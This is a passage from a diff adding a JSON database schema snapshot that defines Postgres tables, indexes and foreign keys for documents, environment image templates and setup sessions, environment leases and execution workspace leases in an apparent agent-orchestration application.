+          "concurrently": false,
+          "method": "gin",
+          "with": {}
+        },
+        "documents_latest_body_search_idx": {
+          "name": "documents_latest_body_search_idx",
+          "columns": [
+            {
+              "expression": "latest_body",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last",
+              "opclass": "gin_trgm_ops"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "gin",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "documents_company_id_companies_id_fk": {
+          "name": "documents_company_id_companies_id_fk",
+          "tableFrom": "documents",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "documents_created_by_agent_id_agents_id_fk": {
+          "name": "documents_created_by_agent_id_agents_id_fk",
+          "tableFrom": "documents",
+          "tableTo": "agents",
+          "columnsFrom": [
+            "created_by_agent_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "documents_updated_by_agent_id_agents_id_fk": {
+          "name": "documents_updated_by_agent_id_agents_id_fk",
+          "tableFrom": "documents",
+          "tableTo": "agents",
+          "columnsFrom": [
+            "updated_by_agent_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "documents_locked_by_agent_id_agents_id_fk": {
+          "name": "documents_locked_by_agent_id_agents_id_fk",
+          "tableFrom": "documents",
+          "tableTo": "agents",
+          "columnsFrom": [
+            "locked_by_agent_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.environment_custom_image_setup_sessions": {
+      "name": "environment_custom_image_setup_sessions",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "environment_id": {
+          "name": "environment_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "template_id": {
+          "name": "template_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "promoted_template_id": {
+          "name": "promoted_template_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "provider": {
+          "name": "provider",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "provider_lease_id": {
+          "name": "provider_lease_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "environment_lease_id": {
+          "name": "environment_lease_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "status": {
+          "name": "status",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'starting'"
+        },
+        "started_by_user_id": {
+          "name": "started_by_user_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "started_by_agent_id": {
+          "name": "started_by_agent_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "base_template_ref": {
+          "name": "base_template_ref",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "expires_at": {
+          "name": "expires_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "finished_at": {
+          "name": "finished_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "failure_reason": {
+          "name": "failure_reason",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "connection_summary": {
+          "name": "connection_summary",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "connection_secret_ref": {
+          "name": "connection_secret_ref",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "metadata": {
+          "name": "metadata",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "environment_custom_image_setup_sessions_environment_status_idx": {
+          "name": "environment_custom_image_setup_sessions_environment_status_idx",
+          "columns": [
+            {
+              "expression": "environment_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "status",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "environment_custom_image_setup_sessions_environment_active_uq": {
+          "name": "environment_custom_image_setup_sessions_environment_active_uq",
+          "columns": [
+            {
+              "expression": "environment_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "where": "\"environment_custom_image_setup_sessions\".\"status\" IN ('starting', 'waiting_for_user', 'capturing')",
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "environment_custom_image_setup_sessions_template_idx": {
+          "name": "environment_custom_image_setup_sessions_template_idx",
+          "columns": [
+            {
+              "expression": "template_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "environment_custom_image_setup_sessions_promoted_template_idx": {
+          "name": "environment_custom_image_setup_sessions_promoted_template_idx",
+          "columns": [
+            {
+              "expression": "promoted_template_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "environment_custom_image_setup_sessions_expires_idx": {
+          "name": "environment_custom_image_setup_sessions_expires_idx",
+          "columns": [
+            {
+              "expression": "expires_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "environment_custom_image_setup_sessions_provider_lease_idx": {
+          "name": "environment_custom_image_setup_sessions_provider_lease_idx",
+          "columns": [
+            {
+              "expression": "provider",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "provider_lease_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "environment_custom_image_setup_sessions_environment_id_environments_id_fk": {
+          "name": "environment_custom_image_setup_sessions_environment_id_environments_id_fk",
+          "tableFrom": "environment_custom_image_setup_sessions",
+          "tableTo": "environments",
+          "columnsFrom": [
+            "environment_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "environment_custom_image_setup_sessions_template_id_environment_custom_image_templates_id_fk": {
+          "name": "environment_custom_image_setup_sessions_template_id_environment_custom_image_templates_id_fk",
+          "tableFrom": "environment_custom_image_setup_sessions",
+          "tableTo": "environment_custom_image_templates",
+          "columnsFrom": [
+            "template_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "environment_custom_image_setup_sessions_promoted_template_id_environment_custom_image_templates_id_fk": {
+          "name": "environment_custom_image_setup_sessions_promoted_template_id_environment_custom_image_templates_id_fk",
+          "tableFrom": "environment_custom_image_setup_sessions",
+          "tableTo": "environment_custom_image_templates",
+          "columnsFrom": [
+            "promoted_template_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "environment_custom_image_setup_sessions_environment_lease_id_environment_leases_id_fk": {
+          "name": "environment_custom_image_setup_sessions_environment_lease_id_environment_leases_id_fk",
+          "tableFrom": "environment_custom_image_setup_sessions",
+          "tableTo": "environment_leases",
+          "columnsFrom": [
+            "environment_lease_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "environment_custom_image_setup_sessions_started_by_agent_id_agents_id_fk": {
+          "name": "environment_custom_image_setup_sessions_started_by_agent_id_agents_id_fk",
+          "tableFrom": "environment_custom_image_setup_sessions",
+          "tableTo": "agents",
+          "columnsFrom": [
+            "started_by_agent_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.environment_custom_image_templates": {
+      "name": "environment_custom_image_templates",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "environment_id": {
+          "name": "environment_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "provider": {
+          "name": "provider",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "template_kind": {
+          "name": "template_kind",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'unknown'"
+        },
+        "template_ref": {
+          "name": "template_ref",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "source_template_ref": {
+          "name": "source_template_ref",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "source_environment_config_fingerprint": {
+          "name": "source_environment_config_fingerprint",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "status": {
+          "name": "status",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'active'"
+        },
+        "created_by_user_id": {
+          "name": "created_by_user_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_by_agent_id": {
+          "name": "created_by_agent_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "captured_at": {
+          "name": "captured_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "last_used_at": {
+          "name": "last_used_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "superseded_by_template_id": {
+          "name": "superseded_by_template_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "metadata": {
+          "name": "metadata",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "environment_custom_image_templates_environment_status_idx": {
+          "name": "environment_custom_image_templates_environment_status_idx",
+          "columns": [
+            {
+              "expression": "environment_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "status",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "environment_custom_image_templates_environment_provider_status_idx": {
+          "name": "environment_custom_image_templates_environment_provider_status_idx",
+          "columns": [
+            {
+              "expression": "environment_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "provider",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "status",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "environment_custom_image_templates_environment_active_uq": {
+          "name": "environment_custom_image_templates_environment_active_uq",
+          "columns": [
+            {
+              "expression": "environment_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "where": "\"environment_custom_image_templates\".\"status\" = 'active'",
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "environment_custom_image_templates_superseded_by_idx": {
+          "name": "environment_custom_image_templates_superseded_by_idx",
+          "columns": [
+            {
+              "expression": "superseded_by_template_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "environment_custom_image_templates_last_used_idx": {
+          "name": "environment_custom_image_templates_last_used_idx",
+          "columns": [
+            {
+              "expression": "last_used_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "environment_custom_image_templates_environment_id_environments_id_fk": {
+          "name": "environment_custom_image_templates_environment_id_environments_id_fk",
+          "tableFrom": "environment_custom_image_templates",
+          "tableTo": "environments",
+          "columnsFrom": [
+            "environment_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "environment_custom_image_templates_created_by_agent_id_agents_id_fk": {
+          "name": "environment_custom_image_templates_created_by_agent_id_agents_id_fk",
+          "tableFrom": "environment_custom_image_templates",
+          "tableTo": "agents",
+          "columnsFrom": [
+            "created_by_agent_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "environment_custom_image_templates_superseded_by_template_id_environment_custom_image_templates_id_fk": {
+          "name": "environment_custom_image_templates_superseded_by_template_id_environment_custom_image_templates_id_fk",
+          "tableFrom": "environment_custom_image_templates",
+          "tableTo": "environment_custom_image_templates",
+          "columnsFrom": [
+            "superseded_by_template_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.environment_leases": {
+      "name": "environment_leases",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "environment_id": {
+          "name": "environment_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "execution_workspace_id": {
+          "name": "execution_workspace_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "issue_id": {
+          "name": "issue_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "heartbeat_run_id": {
+          "name": "heartbeat_run_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "status": {
+          "name": "status",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'active'"
+        },
+        "lease_policy": {
+          "name": "lease_policy",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'ephemeral'"
+        },
+        "provider": {
+          "name": "provider",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "provider_lease_id": {
+          "name": "provider_lease_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "acquired_at": {
+          "name": "acquired_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "last_used_at": {
+          "name": "last_used_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "expires_at": {
+          "name": "expires_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "released_at": {
+          "name": "released_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "failure_reason": {
+          "name": "failure_reason",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "cleanup_status": {
+          "name": "cleanup_status",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "metadata": {
+          "name": "metadata",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "environment_leases_company_environment_status_idx": {
+          "name": "environment_leases_company_environment_status_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "environment_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "status",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "environment_leases_company_execution_workspace_idx": {
+          "name": "environment_leases_company_execution_workspace_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "execution_workspace_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "environment_leases_company_issue_idx": {
+          "name": "environment_leases_company_issue_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "issue_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "environment_leases_heartbeat_run_idx": {
+          "name": "environment_leases_heartbeat_run_idx",
+          "columns": [
+            {
+              "expression": "heartbeat_run_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "environment_leases_company_last_used_idx": {
+          "name": "environment_leases_company_last_used_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "last_used_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "environment_leases_provider_lease_idx": {
+          "name": "environment_leases_provider_lease_idx",
+          "columns": [
+            {
+              "expression": "provider_lease_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "environment_leases_company_id_companies_id_fk": {
+          "name": "environment_leases_company_id_companies_id_fk",
+          "tableFrom": "environment_leases",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "environment_leases_environment_id_environments_id_fk": {
+          "name": "environment_leases_environment_id_environments_id_fk",
+          "tableFrom": "environment_leases",
+          "tableTo": "environments",
+          "columnsFrom": [
+            "environment_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "environment_leases_execution_workspace_id_execution_workspaces_id_fk": {
+          "name": "environment_leases_execution_workspace_id_execution_workspaces_id_fk",
+          "tableFrom": "environment_leases",
+          "tableTo": "execution_workspaces",
+          "columnsFrom": [
+            "execution_workspace_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "environment_leases_issue_id_issues_id_fk": {
+          "name": "environment_leases_issue_id_issues_id_fk",
+          "tableFrom": "environment_leases",
+          "tableTo": "issues",
+          "columnsFrom": [
+            "issue_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "environment_leases_heartbeat_run_id_heartbeat_runs_id_fk": {
+          "name": "environment_leases_heartbeat_run_id_heartbeat_runs_id_fk",
+          "tableFrom": "environment_leases",
+          "tableTo": "heartbeat_runs",
+          "columnsFrom": [
+            "heartbeat_run_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.environments": {
+      "name": "environments",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "name": {
+          "name": "name",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "description": {
+          "name": "description",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "driver": {
+          "name": "driver",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'local'"
+        },
+        "status": {
+          "name": "status",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'active'"
+        },
+        "config": {
+          "name": "config",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'{}'::jsonb"
+        },
+        "env_vars": {
+          "name": "env_vars",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'{}'::jsonb"
+        },
+        "metadata": {
+          "name": "metadata",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "environments_status_idx": {
+          "name": "environments_status_idx",
+          "columns": [
+            {
+              "expression": "status",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "environments_local_driver_idx": {
+          "name": "environments_local_driver_idx",
+          "columns": [
+            {
+              "expression": "driver",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "where": "\"environments\".\"driver\" = 'local'",
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "environments_managed_sandbox_idx": {
+          "name": "environments_managed_sandbox_idx",
+          "columns": [
+            {
+              "expression": "driver",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "where": "\"environments\".\"driver\" = 'sandbox' AND (\"environments\".\"metadata\" ->> 'managedByPaperclip')::boolean = true",
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "environments_name_idx": {
+          "name": "environments_name_idx",
+          "columns": [
+            {
+              "expression": "name",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {},
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.execution_workspace_runtime_leases": {
+      "name": "execution_workspace_runtime_leases",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "execution_workspace_id": {
+          "name": "execution_workspace_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "owner_key": {
+          "name": "owner_key",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "owner_issue_id": {
+          "name": "owner_issue_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "owner_run_id": {
+          "name": "owner_run_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "owner_agent_id": {
+          "name": "owner_agent_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "last_action": {
+          "name": "last_action",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "claimed_at": {
+          "name": "claimed_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "renewed_at": {
+          "name": "renewed_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "expires_at": {
+          "name": "expires_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "metadata": {
+          "name": "metadata",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "execution_workspace_runtime_leases_company_workspace_idx": {
+          "name": "execution_workspace_runtime_leases_company_workspace_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "execution_workspace_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "execution_workspace_runtime_leases_company_owner_idx": {
+          "name": "execution_workspace_runtime_leases_company_owner_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "owner_key",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "execution_workspace_runtime_leases_expires_at_idx": {
+          "name": "execution_workspace_runtime_leases_expires_at_idx",
+          "columns": [
+            {
+              "expression": "expires_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "execution_workspace_runtime_leases_company_id_companies_id_fk": {
+          "name": "execution_workspace_runtime_leases_company_id_companies_id_fk",
+          "tableFrom": "execution_workspace_runtime_leases",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "execution_workspace_runtime_leases_execution_workspace_id_execution_workspaces_id_fk": {
+          "name": "execution_workspace_runtime_leases_execution_workspace_id_execution_workspaces_id_fk",
+          "tableFrom": "execution_workspace_runtime_leases",
+          "tableTo": "execution_workspaces",
+          "columnsFrom": [
+            "execution_workspace_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "execution_workspace_runtime_leases_owner_issue_id_issues_id_fk": {
+          "name": "execution_workspace_runtime_leases_owner_issue_id_issues_id_fk",
+          "tableFrom": "execution_workspace_runtime_leases",
+          "tableTo": "issues",
+          "columnsFrom": [
+            "owner_issue_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "execution_workspace_runtime_leases_owner_run_id_heartbeat_runs_id_fk": {
+          "name": "execution_workspace_runtime_leases_owner_run_id_heartbeat_runs_id_fk",
+          "tableFrom": "execution_workspace_runtime_leases",
+          "tableTo": "heartbeat_runs",
+          "columnsFrom": [
+            "owner_run_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "execution_workspace_runtime_leases_owner_agent_id_agents_id_fk": {
+          "name": "execution_workspace_runtime_leases_owner_agent_id_agents_id_fk",
+          "tableFrom": "execution_workspace_runtime_leases",
+          "tableTo": "agents",
+          "columnsFrom": [
+            "owner_agent_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {
+        "execution_workspace_runtime_leases_execution_workspace_id_unique": {
+          "name": "execution_workspace_runtime_leases_execution_workspace_id_unique",
+          "nullsNotDistinct": false,
+          "columns": [
+            "execution_workspace_id"
+          ]
+        }
+      },
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.execution_workspaces": {
+      "name": "execution_workspaces",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "project_id": {
